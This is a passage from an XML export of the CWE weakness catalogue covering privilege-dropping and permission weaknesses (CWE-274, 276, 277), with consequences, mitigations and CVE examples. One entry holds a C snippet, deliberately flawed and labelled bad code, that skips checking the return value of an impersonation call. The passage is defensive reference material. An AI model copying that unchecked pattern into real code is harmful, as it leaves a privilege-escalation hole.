				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Modes_of_Introduction>
				        <Mode_of_Introduction>
					          <Text>This issue is likely to occur in restrictive environments in which the
						operating system or application provides fine-grained control over privilege
						management.</Text>
				        </Mode_of_Introduction>
			      </Modes_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If privileges are not dropped, neither are access rights of the user.
							Often these rights can be prevented from being dropped.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Scope>Non-Repudiation</Consequence_Scope>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Hide activities</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>If privileges are not dropped, in some cases the system may record
							actions as the user which is being impersonated rather than the
							impersonator.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>In Windows make sure that the process token has the
							SeImpersonatePrivilege(Microsoft Server 2003).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Always check all of your return values.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>This code attempts to take on the privileges of a user before
						creating a file, thus avoiding performing the action with unnecessarily high
						privileges:</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code_Example_Language>C++</Code_Example_Language>
							              <Code>bool DoSecureStuff(HANDLE hPipe) {</Code>
							              <Block>
								                <Code>bool fDataWritten = false;</Code>
								                <Code>ImpersonateNamedPipeClient(hPipe);</Code>
								                <Code>HANDLE hFile = CreateFile(...);</Code>
								                <Code>/../</Code>
								                <Code>RevertToSelf()</Code>
								                <Code>/../</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The call to ImpersonateNamedPipeClient may fail, but the return value
							is not checked. If the call fails the code may execute with higher
							privileges than intended. In this case, an attacker could exploit this
							behavior to write a file to a location he does not have access to.
						</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-4447</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not check return value when invoking
						functions to drop privileges, which could leave users with higher privileges
						than expected by forcing those functions to
						fail.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-2916</Observed_Example_Reference>
					          <Observed_Example_Description>Program does not check return value when invoking
						functions to drop privileges, which could leave users with higher privileges
						than expected by forcing those functions to
						fail.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CLASP">
					          <Mapped_Node_Name>Failure to check whether privileges were dropped
						successfully</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Ensure that privilege relinquishment is
						successful</Mapped_Node_Name>
					          <Mapped_Node_ID>POS37-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>CLASP</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description,
						Modes_of_Introduction, Relationships, Other_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Description, Name,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-03-10">Failure to Check Whether
						Privileges Were Dropped Successfully</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Improper Check for
						Successfully Dropped Privileges</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="274" Name="Improper Handling of Insufficient Privileges" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>The software does not handle or incorrectly handles when it has
					insufficient privileges to perform an operation, leading to resultant
					weaknesses.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>265</Relationship_Target_ID>
					          <!--Privilege / Sandbox Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>703</Relationship_Target_ID>
					          <!--Improper Check or Handling of Exceptional Conditions-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>269</Relationship_Target_ID>
					          <!--Improper Privilege Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>271</Relationship_Target_ID>
					          <!--Privilege Dropping / Lowering Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>280</Relationship_Target_ID>
					          <!--Improper Handling of Insufficient Permissions or Privileges -->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>901</Relationship_Target_ID>
					          <!--SFP Cluster: Privilege-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>Overlaps dropped privileges, insufficient permissions.</Text>
				        </Relationship_Note>
				        <Relationship_Note>
					          <Text>This has a layering relationship with Unchecked Error Condition and
						Unchecked Return Value.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be
						deprecated in the future.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Other</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Alter execution
						logic</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Causal_Nature>Explicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1564</Observed_Example_Reference>
					          <Observed_Example_Description>System limits are not properly enforced after
						privileges are dropped.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3286</Observed_Example_Reference>
					          <Observed_Example_Description>Firewall crashes when it can't read a critical
						memory block that was protected by a malicious
						process.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1641</Observed_Example_Reference>
					          <Observed_Example_Description>Does not give admin sufficient privileges to
						overcome otherwise legitimate user actions.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Theoretical_Notes>
				        <Theoretical_Note>
					          <Text>Within the context of vulnerability theory, privileges and permissions are
						two sides of the same coin. Privileges are associated with actors, and
						permissions are associated with resources. To perform access control, at
						some point the software makes a decision about whether the actor (and the
						privileges that have been assigned to that actor) is allowed to access the
						resource (based on the permissions that have been specified for that
						resource).</Text>
				        </Theoretical_Note>
			      </Theoretical_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insufficient privileges</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes, Relationships,
						Relationship_Notes, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes,
						Theoretical_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Insufficient
						Privileges</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Failure to Handle
						Insufficient Privileges</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="276" Name="Incorrect Default Permissions" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>The software, upon installation, sets incorrect permissions for
					an object that exposes it to an unintended actor.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">734</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>743</Relationship_Target_ID>
					          <!--CERT C Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">844</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>857</Relationship_Target_ID>
					          <!--CERT Java Secure Coding Section 12 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">868</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>877</Relationship_Target_ID>
					          <!--CERT C++ Secure Coding Section 09 - Input Output (FIO)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Installation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Likelihood_of_Exploit>Medium</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Causal_Nature>Implicit</Causal_Nature>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1941</Observed_Example_Reference>
					          <Observed_Example_Description>Executables installed
						world-writable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1713</Observed_Example_Reference>
					          <Observed_Example_Description>Home directories installed
						world-readable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1550</Observed_Example_Reference>
					          <Observed_Example_Description>World-writable log files allow information loss;
						world-readable file has cleartext passwords.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1711</Observed_Example_Reference>
					          <Observed_Example_Description>World-readable
						directory.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1844</Observed_Example_Reference>
					          <Observed_Example_Description>Windows product uses insecure permissions when
						installing on Solaris (genesis: port error).</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0497</Observed_Example_Reference>
					          <Observed_Example_Description>Insecure permissions for a shared secret key file.
						Overlaps cryptographic problem.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0426</Observed_Example_Reference>
					          <Observed_Example_Description>Default permissions of a device allow IP
						spoofing.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference Reference_ID="REF-7">
					          <Reference_Author>Mark Dowd</Reference_Author>
					          <Reference_Author>John McDonald</Reference_Author>
					          <Reference_Author>Justin Schuh</Reference_Author>
					          <Reference_Title>The Art of Software Security Assessment</Reference_Title>
					          <Reference_Section>Chapter 3, "Insecure Defaults", Page 69.</Reference_Section>
					          <Reference_Edition>1st Edition</Reference_Edition>
					          <Reference_Publisher>Addison Wesley</Reference_Publisher>
					          <Reference_PubDate>2006</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insecure Default Permissions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO06-C</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT Java Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permission</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO01-J</Mapped_Node_ID>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="CERT C++ Secure Coding">
					          <Mapped_Node_Name>Create files with appropriate access
						permissions</Mapped_Node_Name>
					          <Mapped_Node_ID>FIO06-CPP</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>1</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>127</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>169</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Taxonomy_Mappings,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-11-24</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Description, Name</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-09-13</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Insecure Default
						Permissions</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="277" Name="Insecure Inherited Permissions" Weakness_Abstraction="Variant" Status="Draft">
			      <Description>
				        <Description_Summary>A product defines a set of insecure permissions that are
					inherited by objects that are created by the program.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>732</Relationship_Target_ID>
					          <!--Incorrect Permission Assignment for Critical Resource-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>275</Relationship_Target_ID>
					          <!--Permission Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>899</Relationship_Target_ID>
					          <!--SFP Cluster: Access Control-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation Mitigation_ID="MIT-1">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Very carefully manage the setting, management, and handling of
							privileges. Explicitly manage trust zones in the software.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-46">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Separation of Privilege</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Compartmentalize the system to have "safe" areas where trust
							boundaries can be unambiguously drawn. Do not allow sensitive data to go
							outside of the trust boundary and always be careful when interfacing
							with a compartment outside of the safe area.</Text>
						            <Text>Ensure that appropriate compartmentalization is built into the system
							design and that the compartmentalization serves to allow for and further
							reinforce privilege separation functionality. Architects and designers
							should rely on the principle of least privilege to decide when it is
							appropriate to use and to drop system privileges.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1841</Observed_Example_Reference>
					          <Observed_Example_Description>User's umask is used when creating temp
						files.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1786</Observed_Example_Reference>
					          <Observed_Example_Description>Insecure umask for core dumps [is the umask
						preserved or assigned?].</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Insecure inherited permissions</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
